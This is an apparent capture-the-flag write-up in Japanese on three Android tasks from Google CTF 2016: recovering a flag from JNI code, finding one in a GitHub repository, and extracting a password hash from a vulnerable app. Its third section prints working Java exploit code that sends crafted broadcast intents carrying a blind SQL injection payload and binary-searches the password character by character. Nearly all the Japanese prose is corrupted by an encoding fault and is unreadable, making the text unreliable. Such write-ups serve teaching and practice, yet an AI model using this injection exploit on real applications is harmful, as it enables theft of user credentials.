ã€ã³ãã
Googleã®ãã©ãã°ãã£ããã£ãŒã³ã³ããã£ã·ã§ã³ãæåã«çµç¹ããGoogle Capture The Flag 2016ã¯æšæ¥çµäºããŸããã 競äºã¯2æ¥éç¶ãããã®éãææ¡ãããã¿ã¹ã¯ããå¯èœãªéãå€ãã®ãã©ã°ãçµãåºãå¿ èŠããããŸããã 競äºåœ¢åŒã¯ã¿ã¹ã¯ããŒã¹/å±éºã§ãã
Googleã«ãããšããã®CTFã®ã¿ã¹ã¯ã¯ãGoogleã»ãã¥ãªãã£ããŒã ã®åŸæ¥å¡ã§ãã人ã ã«ãã£ãŠè¡ãããŸããã ãããã£ãŠããããã®ã¿ã¹ã¯ããã³æåã®GCTFå šäœã«å¯Ÿããé¢å¿ã¯éåžžã«å€§ããã£ã-åèšã§çŽ2500ããŒã ãç»é²ããããããã®ãã¡900ããŒã ã®ã¿ãã¿ã¹ã¯ã解決ããããã«å°ãªããšã5ãã€ã³ããç²åŸããïŒããããšäžæ£ãªãã¬ã€ãæ°åè©Šã¿ãïŒã 誰ã§ãåå ã§ããŸããæ°äººãã»ãã¥ãªãã£æ奜家ããå§ãŸããæ¥çã®äŒèª¬ã§çµãããŸãã ãŸããäžäººã§åå ããããšãã§ããŸããã
2æ¥éã®å€§éšåã¯ãã¢ãã€ã«ã«ããŽãªã®ã¿ã¹ã¯ãéžæããŠããŸããã ãã®ããã«ã¯ããã®ã«ããŽãªã®ãã¹ãŠã®ã¿ã¹ã¯ã®èšäºãæ²èŒãããŠããŸãã Googleã¯ã¢ãã€ã«åãã«3ã€ã®ã¿ã¹ã¯ããæäŸããŠããŸããã§ããïŒ5ã6ã ã£ãïŒããããããã¯ããããããã«åªããŠããã
ããŠãæ°Žãçµãã£ãããã€ã³ãã«è¡ããŸããã:)
1.ç æ°ã®æå³
ã¿ã¹ã¯ã¯æ¬¡ã®ããã«èãããŸãã
æªæã¯ãããŸããïŒ
Ill Intentions.APK
5ã300ã®é£æ床ã§ããã®ã¿ã¹ã¯ã®æåãããœãªã¥ãŒã·ã§ã³ã«å¯ŸããŠ150ãã€ã³ããæäŸãããŸããã
ã ãããç§ãã¡ã®åã«APKãããããã以äžã¯äœããããŸããã æåã«æãæµ®ãã¶ã®ã¯ããšãã¥ã¬ãŒã¿ãŒã«ããã±ãŒãžãã€ã³ã¹ããŒã«ããããã±ãŒãžãéã³ã³ãã€ã«ããããšã§ãã ãããç§ãã¡ãããããšã§ãã
以äžãæè¡çãªè©³çŽ°ã«ã€ããŠã¯èª¬æããŸããããæè¿ãå®å šã«èªååãããAPK Studio GUIããŒã«ã䜿çšããŠéã³ã³ãã€ã«ããããšãå¯èœã«ãªã£ããšèšã䟡å€ããããŸãã ããã«ãããéã³ã³ãã€ã«ãšåŸç¶ã®ã¢ã»ã³ããª+眲åAPKã®ããã»ã¹ãèªååã§ããŸãã ããªãŒãããã³ãå šäœãåããã³ãã«apktool + dex2jar +ïŒjava decompilerãããšãã°jdïŒã§æ§ç¯ãããŠããããšã¯æããã§ãã ããããç§ã¯ãæ§åŒãã奜ã¿ããapktool + dex2jar + jd-gui +ïŒã¹ã¯ãªããã®ã»ããïŒããšãåŒã°ããã»ãããã¥ã¢ã«ã¢ãŒãã§APKãéã³ã³ãã€ã«ããŸãã
Android SDKã®æå°ããŒãžã§ã³ãèŠãåŸããšãã¥ã¬ãŒã¿ã«ãæªæããèšå®ããããšããŸãã
ç§ã¯èªç±ã«6çªç®ã®ã¢ã³ããã€ãïŒãã·ã¥ããïŒã䜿çšãããšãã¥ã¬ãŒã¿ãŒãæã£ãŠããŸããã1ã€äžã®ããŒãžã§ã³ã¯ãªãã£ãã®ã§ãå¥ã®æ¹æ³ã§è¡ãããšã«ããŸãããäœã¬ãã«ã®Smaliã³ãŒããJavaã³ãŒãïŒclasses.dex->ââ JAR`nikïŒã«å€æããjavaãœãŒã¹ããã¢ããªã±ãŒã·ã§ã³ãåæ§ç¯ããŸãã ãããããã¹ãŠããšãŠãçããšã¯éããŸããã§ããã
ã¢ããªã±ãŒã·ã§ã³ãããã§ã¹ããèŠããšïŒ
ããã«ã¯4ã€ã®ã¢ã¯ãã£ããã£ã衚瀺ãããŸããæåã®ã¢ã¯ãã£ããã£ã¯èå³ã®ãªããã®ã§ã次ã®3ã€ã®ã¢ã¯ãã£ããã£ã¯èªåã®ååã§ãã©ã°ã«é¢ä¿ããŠããããšãæ確ã«ç€ºããŠããŸãã åæ§ç¯ãããJavaã³ãŒãã§ãããã®3ã€ãèŠãŠã¿ããšãèå³æ·±ãããšãããããŸãã
ãããŠãåé¡ã¯ããã©ã°ãèšç®ããããã®ã«ãŒãã³ãéšåçã«äœãã³ãŒãã¬ãã«-JNIã¬ãã«ã«ç§»åãããããšã§ãã
ããŠããã€ãã£ãC ++ã³ãŒãã§computeFlagïŒïŒé¢æ°ãèŠã€ããããã«ãããªãã®æã¯ããã«ãããã§ãã ãããè¡ãã«ã¯ããã€ãã£ãã©ã€ãã©ãªïŒ.soïŒhello-jniãéã¢ã»ã³ãã«ããå¿ èŠããããŸãã
ããããããã«ãããã®ïŒããããããã«ãªããã®ïŒã¯åã°ãªãã§ãããïŒ
IDAã¯lib ...ã®computeFlagïŒïŒã«ã€ããŠèªã£ãŠããŸãããJavaã³ãŒãã§ã¯ããã®é¢æ°ãžã®åŒã³åºãã¯ã©ãã«ããããŸãã-ã€ã³ããŒãã®ã¿ã§ãã
ãã®ããã«ã°ãŒã°ã«ã®äººãã¡ã¯äžæåæ¢ããã ãã ãšçµè«ä»ããŸãã=ïŒ
ã¢ããªã±ãŒã·ã§ã³ãåæ§ç¯ãããšããèãã«æ»ããŸãïŒç¬èªã®åäžAPKãäœæããŸãïŒã Javaã³ãŒãã®ç§»è¡ãšãã®ããªãŒããŒããŒã«ãã¯åé¡ã§ã¯ãããŸããããå®éã«äœæã§ããã®ã¯ãã€ãã£ãé¢æ°ã®ã€ã³ããŒãã§ãã 圌ãã®ååã¯ãã§ã«é«ãã£ãã§ããããã«åœŒãã¯ãããŸãïŒ
- Java_com_example_application_IsThisTheRealOne_perhapsThis
- Java_com_example_application_ThisIsTheRealOne_orThat
- Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis
æåŸã®é¢æ°ã¯ãããèªäœãç©èªã£ãŠããŸãïŒGoogleã®åè«ã¯æ¢ã«çµäºããŠããŸãïŒ-å解ããŠèŠããšãéçãªè¡"Told you soïŒ"ãè¿ãããŠããããšãããããŸãã
ãã€ãã£ãé¢æ°ã®ååã«ã¯ãããã±ãŒãžã®åå+ Javaã³ãŒãã§åŒã³åºãããšãã§ããã¯ã©ã¹ã®ååãå«ãŸããŸãïŒãã以å€ã®å Žåã¯ãäžäœã¬ãã«ã®ã³ãŒãããé¢æ°ãåŒã³åºã段éã§ãšã©ãŒãçºçããŸãïŒã ãããã£ãŠã埩å ãããã¢ããªã±ãŒã·ã§ã³ã¯ãå ã®APKã§äœ¿çšãããŠããååãæ£ç¢ºã«ç¹°ãè¿ãå¿ èŠãããããã€ãã£ãJNIé¢æ°ã®åŒã³åºãã¯ã察å¿ããJavaã¯ã©ã¹ããè¡ãããå¿ èŠããããŸãã
ãããç¥ã£ãŠãã³ãŒãã埩å ããŠããŸãã ThisIsTheRealOneã¯ã©ã¹ãšIsThisTheRealOneã¯ã©ã¹ã®ã³ãŒãã¯ã»ãšãã©åãã§ã-onClick ïŒïŒãã¿ã³ã®ã¯ãªãã¯ã¡ãœããã§æååïŒãã©ã°ïŒïŒãèšç®ããã«ãŒãã³ã®ã¿ãç°ãªããŸã ïŒäžèšãåç §ïŒã
èšç®ãããè¡ã®åºåãAndroidã¢ããªã±ãŒã·ã§ã³ãã°ã®æåŸã«è¿œå ããŠãã¯ãªãã¯ãåŠçããã³ãŒããå€æŽããŸãã
Log.d("CTF", i.getStringExtra("msg"));
ã¢ããªã±ãŒã·ã§ã³ãã¢ã»ã³ãã«ããããADBãŠãŒãã£ãªãã£AMïŒã¢ã¯ãã£ããã£ãããŒãžã£ãŒïŒã䜿çšããŠã¢ã¯ãã£ããã£ïŒThisIsTheRealOneããã³IsThisTheRealOneïŒãéãå¿ èŠããããŸããããã¯ãã¢ããªã±ãŒã·ã§ã³ã€ã³ã¿ãŒãã§ã€ã¹ã§ã¯GUIã¢ãŒãã§ãããèš±å¯ããªãããã§ãïŒãã ãã5è¡ã®ã³ãŒããè¿œå ããããšã§ä¿®æ£ã§ããŸãããæ lazã§ãïŒã
ThisIsTheRealOneã¢ã¯ãã£ããã£ããèšç®ãããæååã¯æ¬¡ã®ãšããã§ãã
KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!
ãããŠãããã¯IsThisTheRealOneããã§ãïŒ
Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}
Googleãã²ã©ãåè«ãèšã£ãŠããã®ã§ã¯ãªããšãããã©ã°ãšäžç·ã«ã åã³åè«ïŒ :)
2.ãªããžããªãäœæã§ããŸããïŒ
ã¿ã¹ã¯ã¯æ¬¡ã®ããã«èãããŸãã
Ill Intentionsã®éçºè ã¯ãå ¬éãªããžããªãèšå®ããæ¹æ³ãç¥ã£ãŠãããšæããŸããïŒ
5ã300ã®é£æ床ã¹ã±ãŒã«ã§ã¯ããã®ã¿ã¹ã¯ã®æåãããœãªã¥ãŒã·ã§ã³ã«å¯ŸããŠ5ãã€ã³ãã®ã¿ãæäŸãããŸããã
ãæªæãã®èª¿æ»äžã«ãæååãå«ãAndroidã¢ããªã±ãŒã·ã§ã³ãªãœãŒã¹ãã¡ã€ã«ãæã«å ¥ããŸããã éåžžãèå³æ·±ãããšããããããããŸãããä»åãäŸå€ã§ã¯ãããŸããã§ããã
ãã©ã°ã¯ããã«ç®ãåŒããŸãããã®å 容ã®é »åºŠæå·è§£æã¯ããããããããCaesarã®æå·ã§ããããšã瀺ããŠããŸãã å®éãRot-13ã¯ããã§ããããã°ãŒã°ã«ã¯ã5ãã€ã³ãã§ãããéåžžã«ç°¡åã«äžãããããšæ¬åœã«èããŠãã人ã ã«åºå·ããŠããŸãã Rot-13ãäœæïŒRot-13ïŒïŒïŒïŒ
ç°¡åã ãšæããŸãããïŒ
ããã£ã ããèããªããã°ãªããŸããã ãããªãã¯ãªããžããªãèŠã€ããå¿ èŠããããŸãã ã»ãšãã©ã®å Žåãããã¯GitHubã§ãã ãŸãããªãŒãã³ã¹ããŒã¹ã§ãã©ã°ãèŠã€ããã«ã¯ãæ¬åœã«ãŠããŒã¯ãªãã®ïŒãŠãŒã¶ãŒãŸãã¯ãªããžããªã®ååïŒãå¿ èŠã§ãã ãŸãã«ãã®çäžããŸãã«ãçã«ãŠããŒã¯ããªãã®ã§ãã
l33tdev42
åçŽãªã°ãŒã°ã«ã§ã¯çµæãåŸãããŸããããæåã¯ãªããšãªãç²ããŸã...ããããgithubã«ç§»åããŠãl33tdev42ããæ€çŽ¢ãããšããŠããŒã¯ãŠãŒã¶ãŒã«åºããããŸãã
3ã€ã®ã³ããããæã€1ã€ã®ãããžã§ã¯ãããããŸã...ãããžã§ã¯ãã¯çŽ æŽã§ã3ã€ã®ã³ãããããããŸãïŒ
æåŸã®ãã®ã®äžã«ã¯æ£ãããã©ã°ããããŸãïŒ
ctf{TheHairCutTookALoadOffMyMind}
ççŽã«èšã£ãŠããã®ãããªã¿ã¹ã¯ã«ã¯5ãã€ã³ãã§ã¯ãŸã ååã§ã¯ãããŸãã...
ããã¯ã¢ãã€ã«ããã®æåã®ã¿ã¹ã¯ã§ããããã©ãã°ããããšãã§ããŸããã ãã®åŸã150以äžã®ã¿ã¹ã¯ã«ã¯ãååãšããŠè§£æ±ºã§ããªãã¿ã¹ã¯ãããããã«èŠããŸãããããã§ã«è¿°ã¹ãããã«ãGoogleã¯ãžã§ã®ã³ã°ãããŠããŸã:)
3.ãªãã«ãããŒã¢ããªã±ãŒã·ã§ã³
ã¿ã¹ã¯ã¯æ¬¡ã®ããã«èãããŸãã
è匱æ§ãèŠã€ãããšã¯ã¹ããã€ããéçºããæºåãã§ãããã
APKãbottle-brush-tree.ctfcompetition.comã«éä¿¡ããŸãã
çµæãè¿ããŸã§ã«æ倧15åããããŸãã
BobbyApplication_CTF.apk
ãªã³ã¯ã§ïŒ
APKãã¢ããããŒãããã¿ãŒã²ãããæªæã®ããAPKãããŒãããã®ãå°ãåŸ ã£ãŠããã°ãååŸããŸã...
5ã300ã®é£æ床ã§ããã®ã¿ã¹ã¯ã®æåãããœãªã¥ãŒã·ã§ã³ã«å¯ŸããŠ250ãã€ã³ããæäŸãããŸããã
Androidã¢ããªã±ãŒã·ã§ã³ã®è匱æ§ãèŠã€ãããšã¯ã¹ããã€ããäœæãããã®ãšã¯ã¹ããã€ãã䜿çšããŠå®éã®ãŠãŒã¶ãŒãããã©ã°ãåŒãåºãå¿ èŠããããŸãã ãšã¯ã¹ããã€ãã®æ£åžžæ§ã®åæã¯ããµãŒããŒäžã®ãšãã¥ã¬ãŒã¿ãŒã§è¡ãããŸãã å¹³å13ååŸã«ããšã¯ã¹ããã€ãã¢ããªã±ãŒã·ã§ã³ã®ãã°ãè¿ãããŸãããã®ãã°ã«ã¯ãå¿ èŠãªãã®ãäœã§ãæžã蟌ãããšãã§ããŸããããã¡ããããã©ã°ãæžã蟌ãæ¹ãè¯ãã§ãããã
äžèŠæãã§ãããGoogleãåè«ãèšã£ãŠããããšãå¿ããªãã§ãã ããã
ãããŒã¢ããªã¯æ¬¡ã®ããã«ãªããŸãã
æ¿èªããã³ç»é²ããããã®ã·ã³ãã«ãªãã©ãŒã ã ããŠãæéãéã³ã³ãã€ã«ããŠãã ããïŒ
éã³ã³ãã€ã«ã¯ãã¢ããªã±ãŒã·ã§ã³ãSqliteã䜿çšããŠãèå³æ·±ããã¶ã€ã³ã®ãŠãŒã¶ãŒããŒãã«ã«ããŒã¿ãæ ŒçŽããããšã瀺ããŸããã
ãã©ã°ã¯ããã©ã°ãååŸããããã«è¡ãå¿ èŠãããã®ã¯æ³šå ¥ã ãã§ãããšèšããŸãã
ãã©ã°ã®åçãªéšåã¯ããŠãŒã¶ãŒã®ãã¹ã¯ãŒãããã®md5ã§ãã æçµãã©ã°ããåéãããããã«ããšã¯ã¹ããã€ãã䜿çšããŠãã®ããã·ã¥ãåŒãåºãå¿ èŠããããŸãã
è匱æ§ãæ¢ããŠããŸãã
ãã®ããã»ã¹ã¯ååã«éãé²ã¿ãŸããã ã¢ããªã±ãŒã·ã§ã³ã«ã¯8ã€ã®ã¯ã©ã¹ããå«ãŸããŠããªãã£ããããè匱ãªã¢ãžã¥ãŒã«ãèŠã€ããããšã¯åé¡ã§ã¯ãããŸããã§ããã ãã®è匱æ§ã¯æ¬¡ã®ãšããã§ããèµ·åæã«ãã¢ããªã±ãŒã·ã§ã³ã¯å€éšããåä¿¡ãããããŒããã£ã¹ãã€ãã³ãã®åä¿¡è ãç»é²ããŸããã
次ã®ã³ãŒããå«ãBroadcastäžäœã¯ã©ã¹ã¯ãçä¿¡ãããŒããã£ã¹ãã®ãã³ãã©ãŒã§ããã
次㫠ãçä¿¡ãããŒããã£ã¹ãã®ãã³ãã©ãŒã®æ¬äœããã®checkLoginïŒïŒã¡ãœããã®å®è£ ã瀺ããŸã ã
ã芧ã®ãšãããã¡ãœããããããŒããã£ã¹ããã³ãã©ãŒãåä¿¡ããŒã¿ããã£ã«ã¿ãŒåŠçãããããŒã¿ããŒã¹ãžã®ãçã®ãSQLã¯ãšãªã®çæã«äœ¿çšãããŸãã
æåæäœã§ã¯ããã©ãŒã ãä»ããŠãªã¯ãšã¹ããå€æŽã§ããã»ãã¥ãªãã£ããŒã«ãããããšã瀺ãããŸããã
æããã«ããã©ã€ã³ãSQLiã®è匱æ§ã«çŽé¢ããŠããŸã-checkLoginïŒïŒã¡ãœããã¯å ¥åã«äŸåããªãéçæååãè¿ããŸãã
ããã§ããã¯ãšãªã«ãã£ãŠéžæãããã¬ã³ãŒãã®æ°ïŒãšã¯ã¹ããã€ãã«ãã£ãŠå¶åŸ¡å¯èœïŒã«å¿ããŠãåæªæã®ãããªã¯ãšã¹ãïŒããã³ããŒã¿ããŒã¹èªäœã«ã€ããŠãäžè¬çã«ã¯äœã§ãïŒã«é¢ããããŒã¿ããŒã¹ããŒãã«ã®ãã£ãŒã«ãã«é¢ãã1ãããã®æ å ±ãåžãåºãããšã«ããããã®ã¡ãœããã®åäœãå¶åŸ¡ã§ããŸããããããåè¿°ã®ããã«ããã©ã°ã®ãã¢ã»ã³ããªãã®ãã¹ã¯ãŒããã£ãŒã«ãã«é¢å¿ããããŸãã
æªçšãæžããŠããŸãã
ãšã¯ã¹ããã€ãã¢ã«ãŽãªãºã ïŒ
- Bobbyã¢ããªã±ãŒã·ã§ã³ãèµ·åããŠããããŒããã£ã¹ãã€ãã³ãã¬ã·ãŒããŒãããªã¬ãŒãã
- å éšã«ãæªãããŒã¿ãæã€åä¿¡è åãã®æªæãçæãã
- æªæã®ããããŒã¿ãå«ãæå³ã§ãããŒããã£ã¹ãã€ãã³ããéä¿¡ãã
- çµæã«é¢ãããããŒã¢ããªã±ãŒã·ã§ã³ã®åä¿¡è ããã®å¿çãåãåã
- ãã¹ãŠã®å¿ èŠãªããŒã¿ã象城çã«ãåžãåºãããããŸã§ç¹°ãè¿ããŸã
ãã®ãšã¯ã¹ããã€ããå®è£ ããã«ã¯ã2ã€ã®ã¯ã©ã¹ã§ååã§ããã ã³ãŒãã¯å°ããããã以äžã«ç€ºããŸãã
ãšã¯ã¹ããã€ãã®äž»ãªæŽ»åïŒ
public class Main extends Activity { // Unicode static int L = 0, R = (int)Math.pow(2,16); public static int symbolNum = 0; public static Main activity = null; public static StringBuilder flag = new StringBuilder(); public static void SendBroadcast() { if(Main.symbolNum>32) { Main.Finish(); return; } // . // int M = (L+R)/2; Intent maliciousIntent = new Intent(); maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT"); maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- "); maliciousIntent.putExtra("password", "1"); activity.sendBroadcast(maliciousIntent); } public static void Finish() { // Log.d("FLAG", Main.flag.toString()); Main.activity.finish(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); activity = this; // () onReceive() Bobby- IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT"); registerReceiver(new MalReceiver(), filter); // Bobby- // ( - , ) PackageManager pm = getPackageManager(); Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication"); if (intent != null){ startActivity(intent); } // , Handler handler = new Handler(); handler.postDelayed(new Runnable() { @Override public void run() { SendBroadcast(); } }, 2000); } }
ãããŒã¬ã¹ãã³ã¹ã¬ã·ãŒããŒïŒ
public class MalReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // Bobby- String answer = intent.getStringExtra("msg"); // SQL TRUE if(answer.compareToIgnoreCase("Incorrect password")==0) { // Main.L = (Main.L + Main.R)/2; } // SQL FALSE else{ // Main.R = (Main.L + Main.R)/2; } // N- if(Main.R-Main.L <= 1) { Main.flag.append((char)Main.R); Main.symbolNum++; Main.L = 0; Main.R = (int)Math.pow(2,16); } Main.SendBroadcast(); } }
ãã®åŸããã¹ã察象ã®ãµãŒããŒã«ãšã¯ã¹ããã€ããéä¿¡ããã ãã§ãã
15åã§...
Googleã¯ã次ã®æ å ±ãå«ãåŸ æã®ãã°ãè¿ããŸãã
ããã¯äºçŽ°ãªåé¡ã®ãŸãŸã§ã-çµæã®ããã·ã¥ããã©ã°ã«çœ®ãæããŸãïŒ
ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}
以äžã§ãã
ããã§ããã®ã¿ã¹ã¯ã解決ããããšãã人ãGoogleãããã«è»œquãããã«ã€ããŠå°ã説æããŸãã Androidãšãã¥ã¬ãŒã¿ãŒã®Bobbyã¢ããªã±ãŒã·ã§ã³ã§ãšã¯ã¹ããã€ããéå§ããçŽåŸããµãŒããŒã§ç¿ãèµ·åãïŒè¿ããããã°ã«è¡šç€ºãããŠããŸããïŒãã·ã¹ãã ã®ãã¹ãŠã®ã³ã³ããŒãã³ããã©ã³ãã ãªã¢ã¯ã·ã§ã³ã§ãçæãããŸããããšã¯ã¹ããã€ãã¢ã¯ãã£ããã£ã æåã¯ããšã¯ã¹ããã€ããäžæããåå ã¯æ確ã§ã¯ãããŸããã§ãã-ãã°ã«ã¯ã©ãã·ã¥ã«é¢ãããšã©ãŒã¯ãªããæéå¶éãããããã«èŠããŸããã ãšã«ãããç§ã¯ããã3åã®è©Šè¡ã§ãã©ã°ãããŸãåžãäžããããšãã§ããŸããã
äžèšã®å芧äŒã³ãŒãã«ã¯ãäžè¬çãªæŠå¿µã瀺ãæââå°éã®ã¢ã¯ã·ã§ã³ã®ã»ããããããŸãã
å®éã«å®éã«èµ·ãã£ãããšã«ã¯ããµã«ããä¿è·ããããããããŒåŽã§ã®è€æ°ã®ã¬ã·ãŒããŒã€ã³ã¹ã¿ã³ã¹ã®èµ·åãçŠæ¢ãããããªã©ã倧éã®ã³ãŒããå«ãŸããŠããŸãã
ã¢ãŠãã
ã¢ãã€ã«ã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£ã«çŠç¹ãåœãŠããããGoogleã®ã楜ãããã¿ã¹ã¯ãååã«ç解ããããšã¯ã§ããŸããã§ããããå æããªããã°ãªããªãã£ãããšã«åºã¥ããŠãGCTFã¯éåžžã«èå³æ·±ããã®ã§ãããå€ãã®ç¹ã§é¢å¿ãå¯ãããããšèšããŸãåå è ã«å¯Ÿããåè«ã®è©Šã¿ã ãã®ãããªç¬éã«ãããªããåã³ãbeatããããããšãç解ãããšãããªãã¯ããçš®ã®ãé»ãã®åæ©ã®ã©ãã·ã¥ãæããŸã=ïŒ
ããããšããã°ãŒã°ã«ãé¢çœãã£ã;ïŒ